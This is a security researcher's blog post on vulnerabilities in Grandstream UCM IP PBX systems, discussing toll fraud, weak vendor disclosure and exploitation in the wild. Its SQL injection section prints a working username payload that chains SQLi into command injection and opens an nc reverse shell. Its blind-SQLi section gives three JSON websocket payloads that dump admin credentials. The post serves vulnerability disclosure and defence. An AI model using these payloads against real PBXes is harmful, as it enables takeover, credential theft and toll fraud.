Grandstream PBX Hacking
Simple Vulnerabilities. Big Pay Off.
Toll fraud comes in many forms: international and domestic revenue sharing, dial-through fraud, traffic pumping, wangiri, and more. And it’s lucrative. According to the Communications Fraud Control Association’s (CFCA) 2017 Global Fraud Loss Survey, international revenue sharing fraud (IRSF) alone accounted for $6.1 billion in losses.
Much of the IRSF loss is the result of private branch exchange (PBX) hacking. Asterisk describes a PBX as, ”the central switching system for phone calls within a business. IP PBX systems handle internal traffic between stations and act as the gatekeeper to the outside world.” Researchers at University of Southampton noted their PBX honeypot received 19 million SIP messages over a 10 day period in 2018. And for good reason. Hacked PBX resulting in large paydays has been well documented by the media.
Inspired by Darknet Diaries, The Phreaky World of PBX Hacking, I decided to try my hand at PBX hacking. I purchased a Grandstream UCM 6202 IP PBX and a handful of IP desk phones. Grandstream reports that this PBX can support up to 500 users.
Grandstream sells similar PBX (UCM6204 and UCM6510) based on the same firmware. When I started this work in March, I found more than 11,000 of these PBX on Shodan via their web interface. However, at the time of writing (early May) the number has slipped to 8,000. Presumably the result of the active exploitation we’ll discuss below.
Reportedly, in the past, Grandstream’s PBXes have been hacked and used in toll fraud. But beyond one example, the PBX seems to have escaped infosec’s attention. Even serious vulnerabilities don’t get assigned CVEs. Instead, to notify their users, Grandstream notes “security improvements” on their firmware download page.
They also include similarly vague statements in their Release Notes.
Obviously, that’s a completely inadequate vulnerability notification system. No one should be surprised that when Grandstream PBX vulnerabilities do get published, system administrators are slow to patch and find themselves open to exploitation. Let’s look at a few simple, yet powerful, vulnerabilities I found in these PBX that’ve been actively exploited in the wild.
SQLi to Unauthenticated Command Injection
Even as I write this, I’ve barely scratched the attack surface of these PBX. Look at this:
With such a large attack surface, it can be difficult to zero in on any one thing. However, I like to focus my efforts on attack surfaces that I know users are exposing to the internet. Given the Shodan results, I initially analyzed lighttpd on port 8089. This is the PBX’s main HTTP interface. Much of which is implemented in /app/asterisk/bin/cgi. Upon diving in, I was quickly drawn to the “Forgot Password?” logic.
Forgot Password? accepts a user-provided username from a remote unauthenticated attacker. If the username exists, the PBX emails the user’s cleartext password to a pre configured email address. The user’s input is initially handled by a function called sendPasswordEmail. The developers build an SQL query using the user-provided username to determine if the user exists.
Once the attacker-provided username is validated by a successful SQL query, it’s passed to a python script via popen. popen is more or less a wrapper around /bin/sh -c so it’s ripe for command injection. The developers must have assumed the popen call is protected from command injection due to the username validation query. However, because the query is very obviously vulnerable to an SQL injection, the attacker can bypass the username validation and inject additional commands into the popen. Here is the username my exploit-db proof of concept exploit uses:
admin' or 1=1--`;`nc${IFS}192.168.2.107${IFS}1270${IFS}-e${IFS}/bin/sh`;`This is a pretty classic application of SQLi. I close off the query’s where username='%s clause with admin’ and add an or 1=1 to ensure the query is always successful. I follow that with —- (a comment in SQL syntax) so that the command I appended won’t affect the SQL query. The command is nothing special, just a reverse shell using nc with the -e option (because apparently that’s a thing on this PBX). This vulnerability was partially patched in 1.0.19.20.
The value of an unauthenticated remote command injection exploit on this PBX cannot be understated. It unlocks a lot of doors. For example, the attacker takes full control of the UCM config database. The database more or less drives the PBX’s functionality. The database also contains usernames and cleartext passwords for the HTTP interface, the SIP interface, and the Asterisk Manager Interface (AMI).
With a really simple unauthenticated remote vulnerability the attacker gains access to everything they need to commit toll fraud. In theory, a very lucrative opportunity. And that’s why I was surprised my exploit was being used to help spread an IRC based DDOS botnet that could reportedly be purchased for $300. Talk about not being able to see the forest for the trees.
More SQLi
I also told Grandstream about three blind SQL injection vulnerabilities. All three allow a remote unauthenticated attacker to dump the contents of the users table, and therefore gain complete administrative control of the PBX. Here is a PoC video using this exploit:
The vulnerabilities were all found in /app/asterisk/bin/pbxmid. This binary is responsible for handling requests on port 8888 (via a binary protocol) and on port 8089 (via websocket/JSON).
Of the three vulnerabilities, I’m going to focus on CVE-2020–5724. This vulnerability, again, is the result of mishandling a user-provided username. Specifically, when authenticating to the PBX over websocket, the client must first request the server generate a challenge.
Just like we saw in the previous vulnerability, the attacker-provided username is used to build an SQL query.
Note that in the above image, when the SQL query doesn’t succeed, the logic drops down into an error state (No such user!). This error state is useful to an attacker because it generates a response over the websocket back to the attacker that can help us differentiate from a successful SQL query.
Blind SQL injection, like most SQLi, is a very well understood technique. There are even tools that automate the attack. But it’s important to be able to write your own exploit, especially when reporting the issue to a vendor.
As OWASP’s Blind SQL Injection article states, blind SQL injection is basically asking a series of true/false questions. Where true is a successful query (the PBX sends a “status: 0”) and false is a failed query (the PBX sends a non-zero status). In my exploit demonstrated above, dump_http_user_creds.py, we basically have three questions (note that the bolded sections are the injections).
- Does this user id exist?
{“type”:”request”,”message”:{“transactionid”:”123456789zxa”,”version”:”1.0",”action”:”challenge”,”username”:”’ OR user_id=6 — “}}2. Is this the value’s length?
{“type”:”request”,”message”:{“transactionid”:”123456789zxa”,”version”:”1.0",”action”:”challenge”,”username”:”’ OR user_id=0 AND LENGTH(user_name)=5 — “}}3. Is this a substring of this value?
{“type”:”request”,”message”:{“transactionid”:”123456789zxa”,”version”:”1.0",”action”:”challenge”,”username”:”’ OR user_id=0 AND substr(user_name,1,5) = ‘admiG’ — “}}In that way, the exploit is able to build the complete list of credentials for the HTTP interface. Which allows the attacker to gain full administrative control of the PBX and, again, commit toll fraud. As I said earlier, simple yet powerful.
I’ve watched for any mention of these blind SQLi CVE since I published them. I value the work I’ve done here (and so did a bunch of randos sliding into my DMs), but I also understand that CVE published for a small vendor’s PBX are unlikely to garner much attention. Yet, I wasn’t too surprised when I stumbled upon the thread, UCM6202 hacked. Is there an unknown backdoor? on the Grandstream forums.
The forum user created the post nearly 2 weeks after I published the vulnerabilities on Tenable’s website and informed Mitre. The post describes an unexpected IP address logging in as the admin user using a complicated password without any failed login attempts. Sounds to me like an SQLi was used. Unfortunately, it took an additional two weeks for another user to finally post Tenable’s research advisory.
Conclusion
PBX are valuable systems from a toll fraud perspective. Attackers will find these systems and they’ll exploit any known (or unknown) vulnerability they can. Not only is it important to practice good cyber hygiene with these systems but understanding how the PBX vendor handles vulnerabilities, patching, and reporting to their end users is critical. Can your organization afford a six figure phone bill out of the blue?
Thank you to both Lorenzo Santina and Brandon Scarvell whose published Grandstream work has been, and continues to be, essential to my own research.
